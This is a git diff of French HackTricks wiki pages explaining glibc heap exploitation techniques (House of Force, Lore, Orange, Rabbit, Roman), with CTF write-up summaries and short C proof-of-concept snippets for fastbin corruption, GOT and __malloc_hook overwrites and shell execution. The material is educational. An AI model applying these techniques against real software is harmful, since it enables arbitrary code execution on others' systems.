* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c)
* [https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11)
* L'objectif de ce scénario est un ret2win où nous devons modifier l'adresse d'une fonction qui va être appelée par l'adresse de la fonction ret2win
* Le binaire a un débordement qui peut être exploité pour modifier la taille du chunk supérieur, qui est modifié en -1 ou p64(0xffffffffffffffff)
* Ensuite, l'adresse de l'endroit où se trouve le pointeur à écraser est calculée, et la différence entre la position actuelle du chunk supérieur et cet endroit est allouée avec `malloc`
* Enfin, un nouveau chunk est alloué qui contiendra cette cible désirée à l'intérieur et qui sera écrasée par la fonction ret2win
* [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp)
* Dans `Input your name:`, il y a une vulnérabilité initiale qui permet de divulguer une adresse du tas
* Ensuite, dans les fonctionnalités `Org:` et `Host:`, il est possible de remplir les 64B du pointeur `s` lorsqu'on demande le **nom de l'org**, qui dans la pile est suivi de l'adresse de v2, qui est ensuite suivi du **nom d'hôte** indiqué. Comme ensuite, strcpy va copier le contenu de s dans un chunk de taille 64B, il est possible de **écraser la taille du chunk supérieur** avec les données mises à l'intérieur du **nom d'hôte**.
* Maintenant qu'une écriture arbitraire est possible, le GOT de `atoi` a été écrasé avec l'adresse de printf. il est possible de divulguer l'adresse de `IO_2_1_stderr` _avec_ `%24$p`. Et avec cette fuite de libc, il était possible de réécrire le GOT de `atoi` avec l'adresse de `system` et de l'appeler en passant en paramètre `/bin/sh`
* Une méthode alternative [proposée dans cet autre writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud), consiste à écraser `free` avec `puts`, puis ajouter l'adresse de `atoi@got`, dans le pointeur qui sera plus tard libéré pour qu'il soit divulgué et avec cette fuite réécrire à nouveau `atoi@got` avec `system` et l'appeler avec `/bin/sh`.
* [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)
* Il y a une UAF permettant de réutiliser un chunk qui a été libéré sans effacer le pointeur. Comme il y a quelques méthodes de lecture, il est possible de divulguer une adresse de libc en écrivant un pointeur vers la fonction free dans le GOT ici, puis en appelant la fonction de lecture.
* Ensuite, House of force a été utilisé (en abusant de l'UAF) pour écraser la taille de l'espace restant avec un -1, allouer un chunk suffisamment grand pour arriver au crochet free, puis allouer un autre chunk qui contiendra le crochet free. Ensuite, écrivez dans le crochet l'adresse de `system`, écrivez dans un chunk `"/bin/sh"` et enfin libérez le chunk avec ce contenu de chaîne.

View file

@ -0,0 +1,71 @@
# Maison de Lore | Attaque Small bin
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
### Code
* Vérifiez celui de [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
* Cela ne fonctionne pas
* Ou : [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
* Cela ne fonctionne pas même s'il tente de contourner certaines vérifications en obtenant l'erreur : `malloc(): unaligned tcache chunk detected`
* Cet exemple fonctionne toujours**:** [**https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html**](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)&#x20;
### Objectif
* Insérer un **faux petit chunk dans le small bin pour ensuite pouvoir l'allouer**.\
Notez que le petit chunk ajouté est celui que l'attaquant crée et non un faux dans une position arbitraire.
### Exigences
* Créer 2 faux chunks et les lier entre eux et avec le chunk légitime dans le small bin :
* `fake0.bk` -> `fake1`
* `fake1.fd` -> `fake0`
* `fake0.fd` -> `legit` (vous devez modifier un pointeur dans le chunk du small bin libéré via une autre vulnérabilité)
* `legit.bk` -> `fake0`
Vous pourrez ensuite allouer `fake0`.
### Attaque
* Un petit chunk (`legit`) est alloué, puis un autre est alloué pour empêcher la consolidation avec le chunk supérieur. Ensuite, `legit` est libéré (le déplaçant vers la liste non triée) et un chunk plus grand est alloué, **déplaçant `legit` vers le small bin.**
* Un attaquant génère quelques faux petits chunks et effectue le lien nécessaire pour contourner les vérifications de cohérence :
* `fake0.bk` -> `fake1`
* `fake1.fd` -> `fake0`
* `fake0.fd` -> `legit` (vous devez modifier un pointeur dans le chunk du small bin libéré via une autre vulnérabilité)
* `legit.bk` -> `fake0`
* Un petit chunk est alloué pour obtenir `legit`, plaçant **`fake0`** en tête de liste des petits bins
* Un autre petit chunk est alloué, obtenant fake0 en tant que chunk, permettant potentiellement de lire/écrire des pointeurs à l'intérieur.
## Références
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
* [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

View file

@ -0,0 +1,98 @@
# Maison d'Orange
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
### Code
* Trouvez un exemple dans [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c)
* La technique d'exploitation a été corrigée dans ce [correctif](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) donc cela ne fonctionne plus (fonctionne dans les versions antérieures à 2.26)
* Même exemple **avec plus de commentaires** dans [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
### Objectif
* Abuser de la fonction `malloc_printerr`
### Exigences
* Écraser la taille du chunk supérieur
* Fuites de libc et de tas
### Contexte
Certains antécédents nécessaires des commentaires de [**cet exemple**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)**:**
Le problème est que, dans les anciennes versions de libc, lorsque la fonction `malloc_printerr` était appelée, elle **parcourait une liste de structures `_IO_FILE` stockées dans `_IO_list_all`**, et exécutait en fait un pointeur d'instruction dans cette structure.\
Cette attaque va forger une **fausse structure `_IO_FILE`** que nous écrirons dans **`_IO_list_all`**, et provoquera l'exécution de `malloc_printerr`.\
Ensuite, il exécutera l'adresse que nous avons stockée dans la table de saut des structures **`_IO_FILE`**, et nous obtiendrons une exécution de code
### Attaque
L'attaque commence par parvenir à obtenir le **chunk supérieur** à l'intérieur du **tas non trié**. Cela est réalisé en appelant `malloc` avec une taille supérieure à la taille actuelle du chunk supérieur mais plus petite que **`mmp_.mmap_threshold`** (par défaut 128K), ce qui déclencherait autrement une allocation `mmap`. Chaque fois que la taille du chunk supérieur est modifiée, il est important de s'assurer que le **chunk supérieur + sa taille** est aligné sur la page et que le bit **prev\_inuse** du chunk supérieur est toujours défini.
Pour obtenir le chunk supérieur à l'intérieur du tas non trié, allouez un chunk pour créer le chunk supérieur, modifiez la taille du chunk supérieur (avec un débordement dans le chunk alloué) de sorte que **le chunk supérieur + la taille** soit aligné sur la page avec le bit **prev\_inuse** défini. Ensuite, allouez un chunk plus grand que la nouvelle taille du chunk supérieur. Notez que `free` n'est jamais appelé pour placer le chunk supérieur dans le tas non trié.
L'ancien chunk supérieur est maintenant dans le tas non trié. En supposant que nous puissions lire des données à l'intérieur (éventuellement en raison d'une vulnérabilité ayant également provoqué le débordement), il est possible de fuiter des adresses libc à partir de celui-ci et d'obtenir l'adresse de **\_IO\_list\_all**.
Une attaque sur le tas non trié est effectuée en abusant du débordement pour écrire `topChunk->bk->fwd = _IO_list_all - 0x10`. Lorsqu'un nouveau chunk est alloué, l'ancien chunk supérieur sera divisé, et un pointeur vers le tas non trié sera écrit dans **`_IO_list_all`**.
L'étape suivante consiste à réduire la taille de l'ancien chunk supérieur pour qu'il rentre dans un petit bin, en définissant spécifiquement sa taille à **0x61**. Cela sert à deux fins :
1. **Insertion dans le petit bin 4** : Lorsque `malloc` parcourt le tas non trié et voit ce chunk, il essaiera de l'insérer dans le petit bin 4 en raison de sa petite taille. Cela fait que le chunk se retrouve en tête de la liste du petit bin 4, qui est l'emplacement du pointeur FD du chunk de **`_IO_list_all`** car nous avons écrit une adresse proche dans **`_IO_list_all`** via l'attaque sur le tas non trié.
2. **Déclenchement d'une vérification de malloc** : Cette manipulation de la taille du chunk provoquera des vérifications internes de `malloc`. Lorsqu'il vérifie la taille du faux chunk suivant, qui sera nulle, cela déclenche une erreur et appelle `malloc_printerr`.
La manipulation du petit bin vous permettra de contrôler le pointeur avant du chunk. Le chevauchement avec **\_IO\_list\_all** est utilisé pour forger une fausse structure **\_IO\_FILE**. La structure est soigneusement conçue pour inclure des champs clés tels que `_IO_write_base` et `_IO_write_ptr` définis sur des valeurs qui passent les vérifications internes de libc. De plus, une table de saut est créée à l'intérieur de la fausse structure, où un pointeur d'instruction est défini sur l'adresse où un code arbitraire (par exemple, la fonction `system`) peut être exécuté.
Pour résumer la partie restante de la technique :
* **Réduire l'ancien chunk supérieur** : Ajustez la taille de l'ancien chunk supérieur à **0x61** pour le faire rentrer dans un petit bin.
* **Configurer la fausse structure `_IO_FILE`** : Faites chevaucher l'ancien chunk supérieur avec la fausse structure **\_IO\_FILE** et définissez les champs de manière appropriée pour détourner le flux d'exécution.
L'étape suivante consiste à forger une fausse structure **\_IO\_FILE** qui chevauche l'ancien chunk supérieur actuellement dans le tas non trié. Les premiers octets de cette structure sont soigneusement conçus pour inclure un pointeur vers une commande (par exemple, "/bin/sh") qui sera exécutée.
Les champs clés de la fausse structure **\_IO\_FILE**, tels que `_IO_write_base` et `_IO_write_ptr`, sont définis sur des valeurs qui passent les vérifications internes de libc. De plus, une table de saut est créée à l'intérieur de la fausse structure, où un pointeur d'instruction est défini sur l'adresse où un code arbitraire peut être exécuté. Typiquement, il s'agirait de l'adresse de la fonction `system` ou d'une autre fonction pouvant exécuter des commandes shell.
L'attaque culmine lorsque l'appel à `malloc` déclenche l'exécution du code à travers la structure **\_IO\_FILE** manipulée. Cela permet efficacement l'exécution de code arbitraire, aboutissant généralement à un shell ou à l'exécution d'une autre charge malveillante.
**Résumé de l'attaque :**
1. **Configurer le chunk supérieur** : Allouer un chunk et modifier la taille du chunk supérieur.
2. **Forcer le chunk supérieur dans le tas non trié** : Allouer un chunk plus grand.
3. **Fuite des adresses libc** : Utiliser la vulnérabilité pour lire à partir du tas non trié.
4. **Effectuer l'attaque sur le tas non trié** : Écrire dans **\_IO\_list\_all** en utilisant un débordement.
5. **Réduire l'ancien chunk supérieur** : Ajustez sa taille pour qu'il rentre dans un petit bin.
6. **Configurer une fausse structure \_IO\_FILE** : Forger une fausse structure de fichier pour détourner le flux de contrôle.
7. **Déclencher l'exécution de code** : Allouer un chunk pour exécuter l'attaque et exécuter du code arbitraire.
Cette approche exploite les mécanismes de gestion du tas, les fuites d'informations libc et les débordements de tas pour obtenir une exécution de code sans appeler directement `free`. En concevant soigneusement la fausse structure **\_IO\_FILE** et en la plaçant au bon endroit, l'attaque peut détourner le flux de contrôle lors des opérations standard d'allocation de mémoire. Cela permet l'exécution de code arbitraire, aboutissant potentiellement à un shell ou à d'autres activités malveillantes.
## Références
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/)
* [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,97 @@
# Maison du Lapin
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
### Exigences
1. **Capacité à modifier le pointeur fd ou la taille de Fastbin** : Cela signifie que vous pouvez changer le pointeur avant d'un chunk dans le fastbin ou sa taille.
2. **Capacité à déclencher `malloc_consolidate`** : Cela peut être fait en allouant un gros chunk ou en fusionnant le chunk supérieur, ce qui force le tas à consolider les chunks.
### Objectifs
1. **Créer des chunks superposés** : Avoir un chunk qui chevauche un autre, permettant ainsi d'autres manipulations du tas.
2. **Forger des faux chunks** : Tromper l'allocateur pour qu'il traite un faux chunk comme un chunk légitime lors des opérations sur le tas.
## Étapes de l'attaque
### POC 1 : Modifier la taille d'un chunk Fastbin
**Objectif** : Créer un chunk superposé en manipulant la taille d'un chunk Fastbin.
* **Étape 1 : Allouer des chunks**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
* **Étape 2 : Libérer les morceaux**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
Nous libérons les deux morceaux, en les ajoutant à la liste fastbin.
* **Étape 3: Modifier la taille du morceau**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
* **Étape 4 : Déclencher `malloc_consolidate`**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
Allouer un gros morceau déclenche la fonction `malloc_consolidate`, fusionnant les petits morceaux dans le fastbin. La taille manipulée de `chunk1` provoque un chevauchement avec `chunk2`.
Après la consolidation, `chunk1` chevauche `chunk2`, permettant une exploitation ultérieure.
### POC 2: Modifier le pointeur FD
**Objectif**: Créer un faux morceau en manipulant le pointeur fd du fastbin.
* **Étape 1: Allouer des morceaux**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Explication** : Nous allouons deux morceaux, un plus petit et un plus grand, pour configurer le tas pour le faux morceau.
* **Étape 2 : Créer un Faux Morceau**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
* **Étape 3 : Libérer le Chunk1**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
**Explication** : Nous libérons `chunk1`, en l'ajoutant à la liste fastbin.
* **Étape 4 : Modifier FD de Chunk1**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Explication** : Nous changeons le pointeur avant (fd) de `chunk1` pour pointer vers notre faux chunk à l'intérieur de `chunk2`.
* **Étape 5 : Déclencher `malloc_consolidate`**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
L'allocation d'un gros morceau déclenche à nouveau `malloc_consolidate`, qui traite le faux morceau.
Le faux morceau devient partie de la liste fastbin, en faisant un morceau légitime pour une exploitation ultérieure.
### Résumé
La technique de la **Maison du Lapin** consiste à modifier la taille d'un morceau fastbin pour créer des chevauchements de morceaux ou à manipuler le pointeur fd pour créer des faux morceaux. Cela permet aux attaquants de forger des morceaux légitimes dans le tas, permettant diverses formes d'exploitation. Comprendre et pratiquer ces étapes améliorera vos compétences en exploitation de tas.

View file

@ -0,0 +1,137 @@
# Maison de Roman
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
Il s'agissait d'une technique très intéressante qui permettait une exécution de code à distance sans fuites via de faux fastbins, l'attaque unsorted\_bin et des écrasements relatifs. Cependant, elle a été [**corrigée**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Code
* Vous pouvez trouver un exemple sur [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)
### Objectif
* Exécution de code à distance en abusant des pointeurs relatifs
### Exigences
* Modifier les pointeurs fastbin et unsorted bin
* 12 bits de hasard doivent être forcés (chance de 0,02 %) de fonctionner
## Étapes de l'attaque
### Partie 1 : Le chunk Fastbin pointe vers \_\_malloc\_hook
Créez plusieurs chunks :
* `fastbin_victim` (0x60, décalage 0) : Chunk UAF pour éditer plus tard le pointeur du tas pour pointer vers la valeur LibC.
* `chunk2` (0x80, décalage 0x70) : Pour un bon alignement
* `main_arena_use` (0x80, décalage 0x100)
* `relative_offset_heap` (0x60, décalage 0x190) : décalage relatif sur le chunk 'main\_arena\_use'
Ensuite, `free(main_arena_use)` placera ce chunk dans la liste non triée et obtiendra un pointeur vers `main_arena + 0x68` dans les pointeurs `fd` et `bk`.
Maintenant, un nouveau chunk est alloué `fake_libc_chunk(0x60)` car il contiendra les pointeurs vers `main_arena + 0x68` dans `fd` et `bk`.
Ensuite, `relative_offset_heap` et `fastbin_victim` sont libérés.
```c
/*
Current heap layout:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
* &#x20;`fastbin_victim` a un `fd` pointant vers `relative_offset_heap`
* &#x20;`relative_offset_heap` est un décalage de distance depuis `fake_libc_chunk`, qui contient un pointeur vers `main_arena + 0x68`
* En changeant simplement le dernier octet de `fastbin_victim.fd`, il est possible de faire pointer `fastbin_victim` vers `main_arena + 0x68`
Pour les actions précédentes, l'attaquant doit être capable de modifier le pointeur fd de `fastbin_victim`.
Ensuite, `main_arena + 0x68` n'est pas si intéressant, alors modifions-le pour que le pointeur pointe vers **`__malloc_hook`**.
Notez que `__memalign_hook` commence généralement par `0x7f` et des zéros avant, il est donc possible de le falsifier en tant que valeur dans le fast bin `0x70`. Comme les 4 dernits bits de l'adresse sont **aléatoires**, il y a `2^4=16` possibilités pour que la valeur finisse par pointer là où nous sommes intéressés. Une attaque BF est donc effectuée ici pour que le chunk se termine comme suit: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(Pour plus d'informations sur le reste des octets, consultez l'explication dans l'[exemple how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). Si le BF ne fonctionne pas, le programme plante simplement (donc recommencez jusqu'à ce que cela fonctionne).
Ensuite, 2 mallocs sont effectués pour supprimer les 2 chunks initiaux du fast bin et un troisième est alloué pour obtenir un chunk dans le **`__malloc_hook:`**
```c
malloc(0x60);
malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60);
```
### Partie 2 : Attaque unsorted\_bin
Pour plus d'informations, vous pouvez consulter :
{% content-ref url="unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](unsorted-bin-attack.md)
{% endcontent-ref %}
Mais en gros, cela permet d'écrire `main_arena + 0x68` à n'importe quel emplacement spécifié dans `chunk->bk`. Et pour l'attaque, nous choisissons `__malloc_hook`. Ensuite, après l'avoir écrasé, nous utiliserons un écrasement relatif pour pointer vers un `one_gadget`.
Pour cela, nous commençons par obtenir un chunk et le placer dans le **unsorted bin** :
```c
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate
puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Utilisez un UAF dans ce chunk pour pointer `unsorted_bin_ptr->bk` vers l'adresse de `__malloc_hook` (nous l'avons déjà bruteforcée auparavant).
{% hint style="danger" %}
Notez que cette attaque corrompt le unsorted bin (donc aussi small et large). Nous ne pouvons donc **utiliser que des allocations du fast bin maintenant** (un programme plus complexe pourrait effectuer d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille ou le programme plantera.**
{% endhint %}
Ainsi, pour déclencher l'écriture de `main_arena + 0x68` dans `__malloc_hook`, nous devons simplement exécuter : **`malloc(0x80)`**
### Étape 3 : Définir \_\_malloc\_hook sur system
À l'étape un, nous avons fini par contrôler un chunk contenant `__malloc_hook` (dans la variable `malloc_hook_chunk`) et à la deuxième étape, nous avons réussi à écrire `main_arena + 0x68` ici.
Maintenant, nous exploitons une écriture partielle dans `malloc_hook_chunk` pour utiliser l'adresse libc que nous avons écrite là (`main_arena + 0x68`) pour **pointer vers une adresse `one_gadget`**.
C'est ici qu'il est nécessaire de **bruteforcer 12 bits de hasard** (plus d'informations dans l'[exemple how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)).
Enfin, une fois que l'adresse correcte est écrasée, **appelez `malloc` et déclenchez le `one_gadget`**.
## Références
* [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**dépôts github**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -0,0 +1,134 @@
# Maison de l'Esprit
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
